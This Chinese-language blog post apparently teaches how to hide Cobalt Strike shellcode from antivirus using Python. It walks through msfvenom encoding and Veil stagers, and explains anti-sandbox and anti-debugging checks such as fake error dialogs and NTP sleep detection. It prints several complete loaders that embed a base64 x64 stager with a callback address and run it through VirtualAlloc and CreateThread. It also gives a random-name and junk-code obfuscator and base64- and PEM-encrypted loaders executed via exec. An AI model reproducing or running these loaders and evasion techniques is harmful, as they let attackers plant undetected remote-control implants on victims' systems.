免杀&&抽奖|python进行shellcode免杀(二)

本文涉及的产品
密钥管理服务KMS,1000个密钥,100个凭据,1个月
简介: 免杀&&抽奖|python进行shellcode免杀

msfvenom

对CS生成的payload 使用msfvenom编码

// -f 指定输出格式,可以生成任意格式的shellcode 。 
//源文件(cat 的shellcode) 可以是二进制或16进制的shellcode(cs生成raw/c/py)
cat payload.bin |msfvenom -e x64/xor -o test.bin -a x64 --platform windows 
//生成的test.bin 是二进制shellcode,可以再转成16进制用C或python写加载器加载
cat shellcode.txt |msfvenom -e x64/xor -o xor_shellcode.py -a x64 --platform windows -f python
//shellcode.txt 是16进制shellcode,
//-e 编码方式(x86/shikata_ga_nai)    
//-i 编码次数
//-b 在生成的程序中避免出现的值 ( 过滤坏字符 '\x00,\xff')

测试:

msfvenom对cs生成的raw格式的shellcode进行编码,输出python格式的编码

提取出来,放到加载器,运行即可:

veil

可以使用veil对CS生成的16进制shellcode进行处理

Veil docker版本:

拉取镜像

docker pull mattiasohlsson/veil

启动容器

docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil

其中/tmp/veil-output为我物理机系统的路径

之后再进入镜像可以在启动镜像后使用下面命令

docker exec -it 容器ID /bin/bash

Veil主要分为两个功能:

这里使用到的是 Evasion 。

使用list 看到41种stager

这里用到的是python相关的几个

29) python/shellcode_inject/aes_encrypt.py
    30) python/shellcode_inject/arc_encrypt.py
    31) python/shellcode_inject/base64_substitution.py
    32) python/shellcode_inject/des_encrypt.py
    33) python/shellcode_inject/flat.py
    34) python/shellcode_inject/letter_substitution.py
    35) python/shellcode_inject/pidinject.py
    36) python/shellcode_inject/stallion.py

我们以31) python/shellcode_inject/base64_substitution.py演示一下:

use 31

接下来看到以下设置,意思是该stager执行时执行哪些检查与必要的配置(可以保证只有在满足指定条件时才会注入并执行嵌入的shellcode从而避免被沙箱等引擎行为分析)

具体解释下:

**BADMACS** 设置为Y表示查看运行环境的MAC地址如果不是虚拟机才会执行payload (反调试)
**CLICKTRACK** 设置为4表示 表示需要4次点击才会执行
**COMPILE_TO_EXE** 设置为Y表示 编译为exe文件
**DISKSIZE** 设置为100表示 运行环境的硬盘大小如果大于100GB才会执行payload (反沙箱)
**HOSTNAME** 设置为Comp1表示 只有在Hostname计算机名为Comp1时才会执行payload(指定目标环境 反沙箱的方式)
**INJECT_METHOD** 可设置为Virtual 或 Heap
**MINPROCS** 设置为20表示 只有运行环境的运行进程数大于20时才会执行payload(指定目标环境 反沙箱的方式)
**PROCCHECK** 设置为Y表示 只有运行环境的进程中没有虚拟机进程时才会执行payload(指定目标环境 反沙箱的方式)
**PROCESSORS** 设置为2表示 只在至少2核的机器中才会执行payload(指定目标环境 反沙箱的方式)
**RAMCHECK** 设置为Y表示 只在运行环境的内存为3G以上时才会执行payload(指定目标环境 反沙箱的方式)
**SLEEP** 设置为10表示 休眠10秒 以检测是否运行过程中被加速(反沙箱)
**USERNAME** 设置为Tom表示 只有在当前用户名为Tom的机器中才执行payload。
**USERPROMPT** 设置为Y表示 在injection之前提醒用户(提示一个错误框,让用户误以为该程序执行错误才无法打开)
**DEBUGGER** 设置为Y表示 当被调试器不被attached时才会执行payload (反调试)
**DOMAIN** 设置为Comp表示 受害者计算机只有加入Comp域中时,才会执行payload(指定目标环境 反沙箱的方式)
**UTCCHECK** 设置为Y表示 只在运行环境的系统使用UTC时间时,才会执行payload

这里简单设置几个

然后输入,generate,然后选择3

输入CS的16进制 shellcode字符串:

然后输入生成文件的名称for_test, 生成了2个文件:

来看一下生成的代码:

base64_sanbox_test.py

import win32api
rYvnOAL = 0
iQNSBwRpPNii = 4
while rYvnOAL < iQNSBwRpPNii:
    oRZxcjjWNWxMTV = win32api.GetAsyncKeyState(1)
    SxQGYer = win32api.GetAsyncKeyState(2)
    if oRZxcjjWNWxMTV % 2 == 1:
        rYvnOAL += 1
    if SxQGYer % 2 == 1:
        rYvnOAL += 1
if rYvnOAL >= iQNSBwRpPNii:
    import time as KWZIlBfZMcYj
    if KWZIlBfZMcYj.tzname[0] != "Coordinated Universal Time" and KWZIlBfZMcYj.tzname[1] != "Coordinated Universal Time":
        from time import sleep
        from socket import AF_INET, SOCK_DGRAM
        import sys
        import datetime
        import time
        import socket
        import struct
        client = socket.socket(AF_INET, SOCK_DGRAM)
        client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
        msg, address = client.recvfrom( 1024 )
        QwIeOKFgBDkV = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800)
        sleep(10)
        client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
        msg, address = client.recvfrom( 1024 )
        if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - QwIeOKFgBDkV).seconds >= 10):
            import ctypes as ycVksxvEXqvTANC
            import base64
            hmyBiUmcHsutivM = base64.b64decode("/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulP////XWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9Xrc1pIicFBuFAAAABNMclBUUFRagNBUUG6V4mfxv/V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifFIidpJx8D/////TTHJUlJBui0GGHv/1YXAD4WdAQAASP/PD4SMAQAA69Pp5AEAAOii////LzRteEQAp9Aj4CqXYbbIwHANt0VcayUT6GfUbiCX+qjtquwmOrievppIiuOWfNniEdCWAF7js5vbahKPjrUjon47f5JP79wIKCw84ql6JABVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMDsgTUFBVTsgTlAwOCkNCgAYZADngQNwh2cj52nugbTcxg6nAqiGJ9aKZHF0UzytK8rYtQ/Ue44z2BrXSJXR+jQZ0NuVJ5wsbYDW4+BnA5XpAixgwvPUl2NgN9uvL13TtnDrtzlYcRTypNyby6fLmF47VktLOpJQ8spLj2799CdoePvnZLMU7ZSCupFZEmJ7t95KUW0Hv7GkJatMMXMb8JiDNj+Q4b/VQAqSThp/eNg1NiTtEE7u+UwREUSGfhqF8Yjkzj7Jsgtpg3LCmej9Lm8LN9l+L7zRBF8AQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTExLjEzMQASNFZ4")
            rMXYpPMXynT = ycVksxvEXqvTANC.windll.kernel32.VirtualAlloc(ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.c_int(len(hmyBiUmcHsutivM)),ycVksxvEXqvTANC.c_int(0x3000),ycVksxvEXqvTANC.c_int(0x04))
            ycVksxvEXqvTANC.windll.kernel32.RtlMoveMemory(ycVksxvEXqvTANC.c_int(rMXYpPMXynT),hmyBiUmcHsutivM,ycVksxvEXqvTANC.c_int(len(hmyBiUmcHsutivM)))
            pmRnvgX = ycVksxvEXqvTANC.windll.kernel32.VirtualProtect(ycVksxvEXqvTANC.c_int(rMXYpPMXynT),ycVksxvEXqvTANC.c_int(len(hmyBiUmcHsutivM)),ycVksxvEXqvTANC.c_int(0x20),ycVksxvEXqvTANC.byref(ycVksxvEXqvTANC.c_uint32(0)))
            IXUkyI = ycVksxvEXqvTANC.windll.kernel32.CreateThread(ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.c_int(rMXYpPMXynT),ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.c_int(0),ycVksxvEXqvTANC.pointer(ycVksxvEXqvTANC.c_int(0)))
            ycVksxvEXqvTANC.windll.kernel32.WaitForSingleObject(ycVksxvEXqvTANC.c_int(IXUkyI),ycVksxvEXqvTANC.c_int(-1))

生成了一些反沙箱的代码。

作为对比,我们啥都不修改,直接生成看一下:

base64_test.py

import ctypes as utHlfsE
import base64
znDuyLotmJPitl = base64.b64decode("/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulP////XWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9Xrc1pIicFBuFAAAABNMclBUUFRagNBUUG6V4mfxv/V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifFIidpJx8D/////TTHJUlJBui0GGHv/1YXAD4WdAQAASP/PD4SMAQAA69Pp5AEAAOii////LzRteEQAp9Aj4CqXYbbIwHANt0VcayUT6GfUbiCX+qjtquwmOrievppIiuOWfNniEdCWAF7js5vbahKPjrUjon47f5JP79wIKCw84ql6JABVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMDsgTUFBVTsgTlAwOCkNCgAYZADngQNwh2cj52nugbTcxg6nAqiGJ9aKZHF0UzytK8rYtQ/Ue44z2BrXSJXR+jQZ0NuVJ5wsbYDW4+BnA5XpAixgwvPUl2NgN9uvL13TtnDrtzlYcRTypNyby6fLmF47VktLOpJQ8spLj2799CdoePvnZLMU7ZSCupFZEmJ7t95KUW0Hv7GkJatMMXMb8JiDNj+Q4b/VQAqSThp/eNg1NiTtEE7u+UwREUSGfhqF8Yjkzj7Jsgtpg3LCmej9Lm8LN9l+L7zRBF8AQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTExLjEzMQASNFZ4")
ZDalvXpwBNnVvq = utHlfsE.windll.kernel32.VirtualAlloc(utHlfsE.c_int(0),utHlfsE.c_int(len(znDuyLotmJPitl)),utHlfsE.c_int(0x3000),utHlfsE.c_int(0x04))
utHlfsE.windll.kernel32.RtlMoveMemory(utHlfsE.c_int(ZDalvXpwBNnVvq),znDuyLotmJPitl,utHlfsE.c_int(len(znDuyLotmJPitl)))
pmVvUiefseHqNNY = utHlfsE.windll.kernel32.VirtualProtect(utHlfsE.c_int(ZDalvXpwBNnVvq),utHlfsE.c_int(len(znDuyLotmJPitl)),utHlfsE.c_int(0x20),utHlfsE.byref(utHlfsE.c_uint32(0)))
JZcSPsSDPnvgtn = utHlfsE.windll.kernel32.CreateThread(utHlfsE.c_int(0),utHlfsE.c_int(0),utHlfsE.c_int(ZDalvXpwBNnVvq),utHlfsE.c_int(0),utHlfsE.c_int(0),utHlfsE.pointer(utHlfsE.c_int(0)))
utHlfsE.windll.kernel32.WaitForSingleObject(utHlfsE.c_int(JZcSPsSDPnvgtn),utHlfsE.c_int(-1))

这里直接是换了些随机的变量名,然后shellcode进行base64编码。

然而,前面的代码虽然增加了反沙箱的操作,但是无疑给杀软提供了更多可能被识别出来的特征,我们还需要对这些特征进行规避,所以它并不一定会更安全。

再来看一个 aes加密的:

29) python/shellcode_inject/aes_encrypt.py

ase_test.py

import ctypes as iiNDktFoHGVBRd
from Crypto.Cipher import AES
import base64
yVVpTTnNP = AES.new('Bk1hMf9k$.f?XbO4u^#Qg#yS$/m9tyG/', AES.MODE_CBC, 'zOYsRtGtNOlkuHLd')
ZDRmJB = base64.b64decode('P6mAFv7b2EUDyANT5IMpOFXjdi4CBpqI0haGvxx/MwntkX69V8dq7gF9nac+uYYzEnQ+z0rRP7YJFn7I3k0ZJX5fxbuVHd6lhHoIcgrDmn8w8fTG4Pfjct5j2Zaoe+XWMUKnPmJdMRtbUy55YNcLPcX3haC0w8W7tQgecOe/Uz4nzylQGHOcEWBrZmmX1GpohYFR3hPIGq9wW8Y2lTkLlTI/pWngUOHWMFC16B5BGDWGSqSSBNrp3VlEo6fXtV5BRlDgAUvi2kht0Vp4ElBizVAWoDl8e4xWzoUcNUOlbwNVEnxSdAujbt1tzb7pyYaOxUlFaheGbuwD9E5Uk5PVWDvns/NVrDxmhJuzQYqHnrn3eF9i8pLFJs1ZwgL/WNgpTGvNrWmu5PZ5LIbbQXgaCDhaehjhqMNpRqyzhg/kEfAxKSc4w1gwrwga5knFUlJPmSmRJysZwp7YO57lIcOt3MklQcLjdEqjlHEidbWdWLkfsffMfD86hxjkgJaKtTwQLf6DOMeCyOGMfZAe1nTTyctYmIv3rd8pprmnpyxrdBkSKi1ZbP8U3ytBNGrQdG1AhClT/uhFVOO/mbvkzz3xY61/GvRtdz+58HhQdhwmxJ1Ma4Mk80aPHzmCOBX6kbEud350oUGWv11p6A+Rae40MmH+juk0D6JMXA0B9Kb4YGetkMMWn87ryRxh/yp71q8v6DGAIZfiBYImnH6abtkIJmw+58+7kzWsrSsv2X9TSeF6MlXOhpRxDpAmgf64dqxpM/QjSRdzQFHy5QV524hGP8MOiuYwVGZikslIAygRzBKLL6ZhZ02u7lcmDpXVsXBJEnaKf/GItnVgh5WIgBPJZ4R6Qv2lr62Iw4HGIhluiPcVcsRehKcW9pp2rxEQ6X4WKe+qDQrgxKUBGJmM8sg3xifochNv1Pq64V7ADxYt4BV/pQvoYRvcaM8AImtNJUIcREH5ZxdMegM19dtbsQ7db2O1twrVbsGvPjafr+qTuxIctBXVY/kTwiaeHTpzXYXjPb72ej1EYDtWyhycEPOKBtH0E86oJIkkcOD0GpAwMg4U6BSYCQIMXZ6sWa0DfeQKlDOOKy+/PZiNnwXnzvYG205RcX2SCF4XR54wjsWOdmcTArGVYiVsJhRoKLd370zjiebUfLE7UDrJ8ejmljdznaAsga4nLnyUSrZ3joGkfDU=')
ORopsFE = yVVpTTnNP.decrypt(ZDRmJB)
GkXYbXjZw = iiNDktFoHGVBRd.windll.kernel32.VirtualAlloc(iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.c_int(len(ORopsFE)),iiNDktFoHGVBRd.c_int(0x3000),iiNDktFoHGVBRd.c_int(0x04))
iiNDktFoHGVBRd.windll.kernel32.RtlMoveMemory(iiNDktFoHGVBRd.c_int(GkXYbXjZw),ORopsFE,iiNDktFoHGVBRd.c_int(len(ORopsFE)))
MccFSqvaZINBB = iiNDktFoHGVBRd.windll.kernel32.VirtualProtect(iiNDktFoHGVBRd.c_int(GkXYbXjZw),iiNDktFoHGVBRd.c_int(len(ORopsFE)),iiNDktFoHGVBRd.c_int(0x20),iiNDktFoHGVBRd.byref(iiNDktFoHGVBRd.c_uint32(0)))
suNTtNpnntOupUa = iiNDktFoHGVBRd.windll.kernel32.CreateThread(iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.c_int(GkXYbXjZw),iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.c_int(0),iiNDktFoHGVBRd.pointer(iiNDktFoHGVBRd.c_int(0)))
iiNDktFoHGVBRd.windll.kernel32.WaitForSingleObject(iiNDktFoHGVBRd.c_int(suNTtNpnntOupUa),iiNDktFoHGVBRd.c_int(-1))

它做的也是 shellcode ase加密,给ctypes换了个别名,随机变量名。

当然,作为开源软件,veil的特征已经被杀软标记了,它的免杀效果已经不怎么样了,不适合拿来直接用。

我们只是用来对shellcode进行混淆,以及获取一些反沙箱的代码。

加载器代码混淆

前面说的只是对shellcode进行混淆,但是杀软可不只是检测shellcode,所以我们还要对加载代码进行混淆。

shellcode部分可以使用其他编码,与加载器分开处理。以下shellcode均使用base64编码作为测试。

随机变量名

veil生成的代码里用到了这种方法

比如:

ctypes->utHlfsEshellcode->znDuyLotmJPitlptr->ZDalvXpwBNnVvq......

import ctypes as utHlfsE
import base64
znDuyLotmJPitl = base64.b64decode("/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulP////XWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9Xrc1pIicFBuFAAAABNMclBUUFRagNBUUG6V4mfxv/V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifFIidpJx8D/////TTHJUlJBui0GGHv/1YXAD4WdAQAASP/PD4SMAQAA69Pp5AEAAOii////LzRteEQAp9Aj4CqXYbbIwHANt0VcayUT6GfUbiCX+qjtquwmOrievppIiuOWfNniEdCWAF7js5vbahKPjrUjon47f5JP79wIKCw84ql6JABVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMDsgTUFBVTsgTlAwOCkNCgAYZADngQNwh2cj52nugbTcxg6nAqiGJ9aKZHF0UzytK8rYtQ/Ue44z2BrXSJXR+jQZ0NuVJ5wsbYDW4+BnA5XpAixgwvPUl2NgN9uvL13TtnDrtzlYcRTypNyby6fLmF47VktLOpJQ8spLj2799CdoePvnZLMU7ZSCupFZEmJ7t95KUW0Hv7GkJatMMXMb8JiDNj+Q4b/VQAqSThp/eNg1NiTtEE7u+UwREUSGfhqF8Yjkzj7Jsgtpg3LCmej9Lm8LN9l+L7zRBF8AQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTExLjEzMQASNFZ4")
ZDalvXpwBNnVvq = utHlfsE.windll.kernel32.VirtualAlloc(utHlfsE.c_int(0),utHlfsE.c_int(len(znDuyLotmJPitl)),utHlfsE.c_int(0x3000),utHlfsE.c_int(0x04))
utHlfsE.windll.kernel32.RtlMoveMemory(utHlfsE.c_int(ZDalvXpwBNnVvq),znDuyLotmJPitl,utHlfsE.c_int(len(znDuyLotmJPitl)))
pmVvUiefseHqNNY = utHlfsE.windll.kernel32.VirtualProtect(utHlfsE.c_int(ZDalvXpwBNnVvq),utHlfsE.c_int(len(znDuyLotmJPitl)),utHlfsE.c_int(0x20),utHlfsE.byref(utHlfsE.c_uint32(0)))
JZcSPsSDPnvgtn = utHlfsE.windll.kernel32.CreateThread(utHlfsE.c_int(0),utHlfsE.c_int(0),utHlfsE.c_int(ZDalvXpwBNnVvq),utHlfsE.c_int(0),utHlfsE.c_int(0),utHlfsE.pointer(utHlfsE.c_int(0)))
utHlfsE.windll.kernel32.WaitForSingleObject(utHlfsE.c_int(JZcSPsSDPnvgtn),utHlfsE.c_int(-1))

随机变量生成器

简单生成了些随机变量:

将一些变量名称替换成了随机数,并在代码中间插入随机无效代码。

random_variable.py

import random
import string
class AutoRandom:
    def auto_random_int(self,max_int=999,min_int=0):
        return random.randint(min_int,max_int)
    def auto_random_str(self,min_length=8,max_length=15):
        length=random.randint(min_length,max_length)
        return ''.join(random.choice(string.ascii_letters) for x in range(length))
    def auto_random_void_command(self,min_str=500,max_str=1000,min_int=1,max_ini=9):
        void_command = [
            #'print("var1")'.replace('var1',str(self.auto_random_int(999999))),
            'var1 = var2 + var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))),
            'var1 = var2 - var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))),
            'var1 = var2 * var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))),
            'var1 = var2 / var3'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',str(self.auto_random_int(99999))).replace('var3',str(self.auto_random_int(99999))),
            'var1 = "var2" + "var3"'.replace('var1',self.auto_random_str(min_str,max_str)).replace('var2',self.auto_random_str(min_str,max_str)).replace('var3',self.auto_random_str(min_str,max_str)),
            'print("var1")'.replace('var1',self.auto_random_str(min_str,max_str))
            ]
        return void_command[self.auto_random_int(len(void_command)-1)]
def make_variable_random(shellcodeloader):
    shellcodeloader = shellcodeloader.replace("ctypes", AutoRandom.auto_random_str(min_length=8, max_length=15))
    shellcodeloader = shellcodeloader.replace("shellcode",AutoRandom.auto_random_str(min_length=8,max_length=15))
    shellcodeloader = shellcodeloader.replace("ptr", AutoRandom.auto_random_str(min_length=8, max_length=15))
    shellcodeloader = shellcodeloader.replace("buffered", AutoRandom.auto_random_str(min_length=8, max_length=15))
    shellcodeloader = shellcodeloader.replace("handle", AutoRandom.auto_random_str(min_length=8, max_length=15))
    return shellcodeloader
def make_command_random(shellcodeloader):
    shellcodeloader = shellcodeloader.replace("command1", AutoRandom.auto_random_void_command())
    shellcodeloader = shellcodeloader.replace("command2", AutoRandom.auto_random_void_command())
    shellcodeloader = shellcodeloader.replace("command3", AutoRandom.auto_random_void_command())
    shellcodeloader = shellcodeloader.replace("command4", AutoRandom.auto_random_void_command())
    shellcodeloader = shellcodeloader.replace("command5", AutoRandom.auto_random_void_command())
    shellcodeloader = shellcodeloader.replace("command6", AutoRandom.auto_random_void_command())
    shellcodeloader = shellcodeloader.replace("command7", AutoRandom.auto_random_void_command())
    return shellcodeloader
if __name__ == '__main__':
    AutoRandom = AutoRandom()
    shellcodeloader = '''
        正常shellcode加载器代码
'''
    shellcodeloader = make_variable_random(shellcodeloader)
    shellcodeloader = make_command_random(shellcodeloader)
    print(shellcodeloader)

使用方法:

将正常shellcode加载器代码去到import部分在一些部位添加标志位,放到 shellcodeloader:

然后运行:

将生成的代码复制出来,根据生成的随机数,给ctypes库起个别名:

然后运行,即可上线。

base64

shellcode部分可以使用其他编码,与加载器分开处理。以下shellcode均使用base64编码作为测试。

shellcodeloader_base64_encode.py:

import base64
# 加密
#base64_loader = base64.b64encode(b""" xxxx""")
base64_loader = base64.b64encode(b"""
shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
""")
print(base64_loader)

base64_decode_shellcodeloader.py

import base64
import ctypes
buf = base64.b64decode(b'/EiD5PDoyAAAAEF......')
base64_loader = base64.b64decode(b'CnNoZWxsY29kZSA9IGJ5dGVhcnJheShidWYpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKcHRyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLCBjdHlwZXMuY19pbnQoMHgzMDAwKSwgY3R5cGVzLmNfaW50KDB4NDApKQpidWYgPSAoY3R5cGVzLmNfY2hhciAqIGxlbihzaGVsbGNvZGUpKS5mcm9tX2J1ZmZlcihzaGVsbGNvZGUpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuUnRsTW92ZU1lbW9yeSgKICAgIGN0eXBlcy5jX3VpbnQ2NChwdHIpLAogICAgYnVmLAogICAgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKQopCmhhbmRsZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuQ3JlYXRlVGhyZWFkKAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksCiAgICBjdHlwZXMuY19pbnQoMCksCiAgICBjdHlwZXMuY19pbnQoMCksCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpCg==').decode()
exec(base64_loader)

运行上面代码,即可上线:

PEM

shellcodeloader_pem_encode.py

from Crypto.IO import PEM
#pem_loader = b""" xxx """
pem_loader = b"""
shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""
# 加密
# passphrase:指定密钥,可以为空 passphrase=None
# marker:指定名称
buf = PEM.encode(pem_loader, marker="shellcodeloader", passphrase=b'123', randfunc=None)

pem_decode_shellcodeloader.py

from Crypto.IO import PEM
import base64
import ctypes
buf = base64.b64decode(b'/EiD5PDoyAAAAEFRQV....')
# 加密后的shellcodeloader
pem_loader = """-----BEGIN shellcodeloader-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,A854E7C9A4B45953
0SOWvJk0PkSI2jcnFkd3RXmqdGLOb7ruOPOv/EnvCMX2ercXRTLGfM3USCLZGPbC
bz/LfU812HCDa5OOYXmtZSiRGqvEd5fdZ44kreyK8L1YX0Arf6RbTJz+wnNzR9jT
QVQLUVKlR5BFI9vabgNWBLgdDdQqYNKop0HrsznAbx9FpvpPlowkqfBI1L35KYEt
CT8UCdJr891Q4Sjtnv+P6rpJF8Gu2UaMMAIIBlFwjG0e1y9M4UL6l5qixDGIICWS
8T619CqurhDpV+1pKcH8K8Ppp0nuaJo9gGKVnb/IafGBuTcjmZnCWSWmAhZpSnCR
NDwHbhFRd2N3qZ+gRQLNdHYgQiByQHesg1kRaKlkOziwhDGhcbWjX1Y91fAhSjKL
EyuFjzYJNJcYvvvyIlHu1x/fF9MYJRVUbZCD0fcbTNopWGygv5NfOc2SRU9oYJKh
XYOQo02pvXxaZhOWaNXRIQjS7xs6948GHSKXWRhddZiXLHxa1LGz3x5vh0DF7vC7
UxoZeocqSAsLLQeuIlzt/uqF+0c/rc1CC9WeqK4sl8pbsZSeURCv5E2Ztq/NYr1z
DWR1q/rYTmgIHAJwLKg4bfx/gWWqgQ8KMFXHnuSzTf/eYn7m3BeIKwXW+MisHskb
QaHnCItC2q4ISc6Xaz/f4CGWnutKnjRxJsJxbAznHqDEDyGDSTb1KLgcVx9bhLhj
xyJYaYII6G+jJjOsWYjmu4xsiAN/AW8HPJUdcYV+XtOrBzZfVlE46YiHbwky31oR
Q38gOcfsnz8oeIsGcBPNYpKUaGdgcyXqhVoKlGkWijN5G6j8oKsWw8ABuOn0Qn3Y
4A32/MBX4/2rA0lerBksv7GFUzMik0xe8odPKy77Aks/KYyVZZUuDCs+Of1Ti5e0
-----END shellcodeloader-----"""
# 解密
loader = bytearray(PEM.decode(pem_loader, passphrase=b'123')[0])
exec(loader)

运行上面代码,即可上线:

反序列化

关于phthon反序列化相关就不详细展开了,可以看一下下面这篇文章

https://misakikata.github.io/2020/04/python-反序列化/

python 序列化和反序列化使用最为频繁的是cPicklepickle,前者是C语言实现,据说速度比后者快很多。

只不过python3标准库中不再叫cPickle,而是只有pickle。python2中两者都有。

pickle有如下四种操作方法:

